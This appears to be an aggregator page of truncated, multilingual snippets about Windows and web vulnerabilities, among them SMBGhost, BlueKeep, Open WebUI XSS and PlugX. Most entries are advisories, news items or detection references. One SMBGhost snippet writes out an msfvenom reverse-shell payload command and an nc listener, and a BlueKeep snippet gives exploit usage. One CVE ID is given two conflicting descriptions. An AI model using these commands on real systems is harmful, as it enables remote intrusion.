CVE-2020-16898

CVE-2020-16898: “बुरा पड़ोसी” CVSS स्कोर: 8.8 CVSS वेक्टर: CVSS3.0/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C अवलोकन 13 अक्टूबर को, Microsoft ने घोषणा की कि Windows IPv6 स्टैक में एक अत्यंत गंभीर कमजोरी है, जो एक हमलावर को दुर्भावनापूर्ण रूप से तैयार किए गए पैकेट भेजकर दूरस्थ सिस्टम पर...

dRMM-CVE-2020-1350-response

نظرة عامة أعلنت مايكروسوفت عن CVE-2020-1350 في 14 يوليو 2020. تعود هذه الثغرة الأمنية في خادم DNS الخاص بـ Windows إلى Server 2003 ويُعتقد على نطاق واسع أنها قابلة للانتشار كدودة. يتبع هذا السكريبت التعليمات الواردة من KB456509...

CVE-2019-0708

CVE-2019-0708 Exploit sur Windows. Utilisation : C:\CVE-2019-07-08.exe -p 3389 ip Touchés : Windows XP Tous Windows 2003 Tous Windows 7 SP 1 32 et 64 bits Windows Server 2008 Windows Server 2008 R2 Contact : Email : [email protected] Site Web : http://794911175 http://cia.kim:2 CVE-2019-0708...

CVE-2021-31166

CVE-2021-31166 Détection des tentatives d'exploitation de CVE-2021-31166 vulnérabilité de la pile de protocole HTTP Règle Suricata Paquet Zeek Références https://corelight.blog/2021/05/27/detecting-cve-2021-31166-http-vulnerability/...

CVE-2019-0708

CVE-2019-0708 일괄 탐지 0x01 서문 CVE-2019-0708 Windows RDP 원격 명령 실행 취약점 Windows 계열 서버에서 2019년 5월 15일 고위험 취약점이 발견되었습니다. 이 취약점은 영향 범위가 넓어 windows2003, windows2008, windows2008 R2, windows xp 시스템이 모두 공격을 받을 수 있습니다. 이 서버 취약점은 원격 데스크톱 포트 3389, RDP 프로토콜을 통해 공격하는 방식입니다. CVE-2019-0708 취약점은 사용자 인증 검사를 우회할 수 있게...

CVE-2024-38063

CVE-2024-38063 - Recherche sur la vulnérabilité d'exécution de code à distance TCP/IP de Windows Une recherche complète pour vous faire gagner du temps, de l'énergie, de la sérénité et de la compréhension. Je tiens à préciser d'emblée que cette CVE est comme beaucoup d'autres : en raison de son...

CVE-2026-57858

CVE-2026-57858 استغلال دودي لـ CVE-2026-57858...

CVE-2020-0796

CVE-2020-0796：SMBGhost - 分析与伦理利用 简介 CVE-2020-0796，又称“SMBGhost”，是一种影响 Microsoft Windows 操作系统的严重安全漏洞。它属于“可蠕虫传播”类别，意味着它可以在网络连接的系统中快速传播。该漏洞存在于 Microsoft 的服务器消息块（SMB）协议中，该协议负责文件与打印机共享。利用此漏洞可以在易受攻击的服务器上远程执行代码，可能导致系统完全被攻陷。 关键要点快速总结 漏洞名称： CVE-2020-0796，“SMBGhost”，“EternalDarkness”。 漏洞类型： 远程代码执行（RCE）。...

CVE-2020-0796

CVE-2020-0796 شرح CVE-2020-0796 والبحث في الثغرة الأمنية لمشروع الفصل الدراسي CENG325 للمبتدئين كيفية الاستغلال؟ توليد الحمولة payload لعكس الصدفة reverse shell: msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python منفذ الاستماع: nc -lvnp 5555 تنفيذ كود...

CVE-2026-57858

Cal.com Cal.diy versions 2.1.1 through 6.2.0 contain a stored cross-site scripting vulnerability in the BookingPageTagManager component that allows authenticated event owners to inject arbitrary JavaScript by supplying a malicious analytics tracking ID without sanitization. Attackers can close th...

Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions

Summary A vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's...

Patch Tuesday and the Enduring Challenge of Windows’ Backwards Compatibility

Introduction If you received an email with the subject “I LOVE YOU” and an attachment called “LOVE-LETTER-FOR-YOU.TXT”, would you open it? Probably not, but back in the year 2000, plenty of people did exactly that. The internet learned a hard lesson about the disproportionate power available to a...

PT-2025-28516

Name of the Vulnerable Software and Affected Versions Windows versions affected versions not specified Description A critical vulnerability exists in the Windows SPNEGO Extended Negotiation NEGOEX security mechanism. This flaw is a heap-based buffer overflow that allows an unauthorized attacker t...

CVE-2025-46719 Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.6.6, a vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be...

BlackByte blends tried-and-true tradecraft with newly disclosed vulnerabilities to support ongoing attacks

The BlackByte ransomware group continues to leverage tactics, techniques and procedures TTPs that have formed the foundation of its tradecraft since its inception, continuously iterating its use of vulnerable drivers to bypass security protections and deploying a self-propagating, wormable...

Exploit for Integer Underflow (Wrap or Wraparound) in Microsoft

CVE-2024-38063 - Windows TCP/IP Remote Code Execution Vulnerab...

French Authorities Launch Operation to Remove PlugX Malware from Infected Systems

French judicial authorities, in collaboration with Europol, have launched a so-called "disinfection operation" to rid compromised hosts of a known malware called PlugX. The Paris Prosecutor's Office, Parquet de Paris, said the initiative was launched on July 18 and that it's expected to continue...

Researchers Discover New PlugX Malware Variant Spreading via Removable USB Devices

Cybersecurity researchers have uncovered a PlugX sample that employs sneaky methods to infect attached removable USB media devices in order to propagate the malware to additional systems. "This PlugX variant is wormable and infects USB devices in such a way that it conceals itself from the Window...

Critical Microsoft Code-Execution Vulnerability

A critical code-execution vulnerability in Microsoft Windows was patched in September. It seems that researchers just realized how serious it was and is: Like EternalBlue, CVE-2022-37958, as the latest vulnerability is tracked, allows attackers to execute malicious code with no authentication...

4 over-hyped security vulnerabilities of 2022

A critical vulnerability can send countless organizations into chaos, as security teams read up on the vulnerability, try to figure out whether it applies to their systems, download any potential patches, and deploy those fixes to affected machines. But a lot can go wrong when a vulnerability is...